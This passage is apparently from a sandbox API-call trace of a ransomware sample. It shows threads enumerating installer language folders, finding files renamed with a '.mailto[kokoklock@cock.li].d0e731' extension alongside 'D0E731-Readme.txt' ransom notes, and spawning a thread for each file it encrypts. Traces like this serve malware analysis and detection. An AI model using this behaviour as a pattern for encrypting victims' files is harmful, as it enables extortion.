lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.656] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.656] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.656] FindNextFileW (in: hFindFile=0x2fe3f88, lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.656] FindClose (in: hFindFile=0x2fe3f88 | out: hFindFile=0x2fe3f88) returned 1 [0165.657] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1038) returned 1 [0165.657] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87668) returned 1 [0165.657] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7f960) returned 1 [0165.657] RtlExitUserThread (Status=0x0) Thread: id = 1563 os_tid = 0xf48 [0165.325] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f876f8 [0165.325] wcscpy (in: _Dest=0x2f876f8, _Source="C:\\588bce7c90097ed212\\1041" | out: _Dest="C:\\588bce7c90097ed212\\1041") returned="C:\\588bce7c90097ed212\\1041" [0165.325] wcscat (in: _Dest=0x2f876f8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\" [0165.325] wcscat (in: _Dest=0x2f876f8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1041\\*") returned="C:\\588bce7c90097ed212\\1041\\*" [0165.325] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe12a0 [0165.325] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x841fe821, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x841fe821, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3e48 [0165.327] wcscmp (_String1=".", _String2=".") returned 0 [0165.327] FindNextFileW (in: hFindFile=0x2fe3e48, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x841fe821, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x841fe821, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.327] wcscmp (_String1="..", _String2=".") returned 1 [0165.327] wcscmp (_String1="..", _String2="..") returned 0 [0165.327] FindNextFileW (in: hFindFile=0x2fe3e48, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x841fe821, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x841fe821, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x841fe821, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.327] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.327] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.327] FindNextFileW (in: hFindFile=0x2fe3e48, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x82a994a9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x284d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.327] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.327] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.327] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe48e8 [0165.328] wcscpy (in: _Dest=0x2fe48e8, _Source="C:\\588bce7c90097ed212\\1041" | out: _Dest="C:\\588bce7c90097ed212\\1041") returned="C:\\588bce7c90097ed212\\1041" [0165.328] wcscat (in: _Dest=0x2fe48e8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\" [0165.328] wcscat (in: _Dest=0x2fe48e8, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe48e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0165.651] FindNextFileW (in: hFindFile=0x2fe3e48, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x841fe821, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x10b42, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.651] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.652] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.652] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6ced0 [0165.652] wcscpy (in: _Dest=0x2f6ced0, _Source="C:\\588bce7c90097ed212\\1041" | out: _Dest="C:\\588bce7c90097ed212\\1041") returned="C:\\588bce7c90097ed212\\1041" [0165.652] wcscat (in: _Dest=0x2f6ced0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\" [0165.652] wcscat (in: _Dest=0x2f6ced0, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ced0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0165.653] FindNextFileW (in: hFindFile=0x2fe3e48, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.653] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.653] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.653] FindNextFileW (in: hFindFile=0x2fe3e48, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.653] FindClose (in: hFindFile=0x2fe3e48 | out: hFindFile=0x2fe3e48) returned 1 [0165.653] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12a0) returned 1 [0165.653] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f876f8) returned 1 [0165.654] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7ffe0) returned 1 [0165.654] RtlExitUserThread (Status=0x0) Thread: id = 1564 os_tid = 0xf4c [0165.330] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87080 [0165.330] wcscpy (in: _Dest=0x2f87080, _Source="C:\\588bce7c90097ed212\\1042" | out: _Dest="C:\\588bce7c90097ed212\\1042") returned="C:\\588bce7c90097ed212\\1042" [0165.330] wcscat (in: _Dest=0x2f87080, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\" [0165.330] wcscat (in: _Dest=0x2f87080, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1042\\*") returned="C:\\588bce7c90097ed212\\1042\\*" [0165.330] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1508 [0165.330] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x842bd1a8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x842bd1a8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3fc8 [0165.332] wcscmp (_String1=".", _String2=".") returned 0 [0165.332] FindNextFileW (in: hFindFile=0x2fe3fc8, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x842bd1a8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x842bd1a8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.332] wcscmp (_String1="..", _String2=".") returned 1 [0165.332] wcscmp (_String1="..", _String2="..") returned 0 [0165.332] FindNextFileW (in: hFindFile=0x2fe3fc8, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84296fe2, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x84296fe2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84296fe2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.332] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.332] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.332] FindNextFileW (in: hFindFile=0x2fe3fc8, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x82a26d54, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x324f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.332] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.333] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.333] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe54c8 [0165.333] wcscpy (in: _Dest=0x2fe54c8, _Source="C:\\588bce7c90097ed212\\1042" | out: _Dest="C:\\588bce7c90097ed212\\1042") returned="C:\\588bce7c90097ed212\\1042" [0165.333] wcscat (in: _Dest=0x2fe54c8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\" [0165.333] wcscat (in: _Dest=0x2fe54c8, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1042\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe54c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590 [0165.648] FindNextFileW (in: hFindFile=0x2fe3fc8, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x84296fe2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xff96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.648] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.648] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.648] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6cd80 [0165.648] wcscpy (in: _Dest=0x2f6cd80, _Source="C:\\588bce7c90097ed212\\1042" | out: _Dest="C:\\588bce7c90097ed212\\1042") returned="C:\\588bce7c90097ed212\\1042" [0165.648] wcscat (in: _Dest=0x2f6cd80, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\" [0165.648] wcscat (in: _Dest=0x2f6cd80, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6cd80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0165.649] FindNextFileW (in: hFindFile=0x2fe3fc8, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.649] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.649] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.649] FindNextFileW (in: hFindFile=0x2fe3fc8, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.649] FindClose (in: hFindFile=0x2fe3fc8 | out: hFindFile=0x2fe3fc8) returned 1 [0165.650] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1508) returned 1 [0165.650] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87080) returned 1 [0165.650] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7faa0) returned 1 [0165.650] RtlExitUserThread (Status=0x0) Thread: id = 1565 os_tid = 0xf50 [0165.333] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2fed9d0 [0165.333] wcscpy (in: _Dest=0x2fed9d0, _Source="C:\\588bce7c90097ed212\\1043" | out: _Dest="C:\\588bce7c90097ed212\\1043") returned="C:\\588bce7c90097ed212\\1043" [0165.333] wcscat (in: _Dest=0x2fed9d0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\" [0165.333] wcscat (in: _Dest=0x2fed9d0, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1043\\*") returned="C:\\588bce7c90097ed212\\1043\\*" [0165.333] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2110 [0165.333] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x84119776, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84119776, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3ac8 [0165.335] wcscmp (_String1=".", _String2=".") returned 0 [0165.335] FindNextFileW (in: hFindFile=0x2fe3ac8, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x84119776, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84119776, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.335] wcscmp (_String1="..", _String2=".") returned 1 [0165.335] wcscmp (_String1="..", _String2="..") returned 0 [0165.335] FindNextFileW (in: hFindFile=0x2fe3ac8, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x840f353a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x840f353a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84119776, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.335] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.335] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.335] FindNextFileW (in: hFindFile=0x2fe3ac8, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x82abf729, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xe9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.335] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.335] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.335] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe4be0 [0165.335] wcscpy (in: _Dest=0x2fe4be0, _Source="C:\\588bce7c90097ed212\\1043" | out: _Dest="C:\\588bce7c90097ed212\\1043") returned="C:\\588bce7c90097ed212\\1043" [0165.335] wcscat (in: _Dest=0x2fe4be0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\" [0165.335] wcscat (in: _Dest=0x2fe4be0, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1043\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe4be0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x594 [0165.645] FindNextFileW (in: hFindFile=0x2fe3ac8, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x840f353a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x137d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.645] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.645] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.645] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6ccd8 [0165.645] wcscpy (in: _Dest=0x2f6ccd8, _Source="C:\\588bce7c90097ed212\\1043" | out: _Dest="C:\\588bce7c90097ed212\\1043") returned="C:\\588bce7c90097ed212\\1043" [0165.645] wcscat (in: _Dest=0x2f6ccd8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\" [0165.645] wcscat (in: _Dest=0x2f6ccd8, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ccd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c [0165.646] FindNextFileW (in: hFindFile=0x2fe3ac8, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.646] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.646] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.646] FindNextFileW (in: hFindFile=0x2fe3ac8, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.646] FindClose (in: hFindFile=0x2fe3ac8 | out: hFindFile=0x2fe3ac8) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2110) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fed9d0) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fa20) returned 1 [0165.647] RtlExitUserThread (Status=0x0) Thread: id = 1566 os_tid = 0xf54 [0165.335] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2fedb80 [0165.336] wcscpy (in: _Dest=0x2fedb80, _Source="C:\\588bce7c90097ed212\\1044" | out: _Dest="C:\\588bce7c90097ed212\\1044") returned="C:\\588bce7c90097ed212\\1044" [0165.336] wcscat (in: _Dest=0x2fedb80, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\" [0165.336] wcscat (in: _Dest=0x2fedb80, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1044\\*") returned="C:\\588bce7c90097ed212\\1044\\*" [0165.336] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe19d8 [0165.336] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x10, 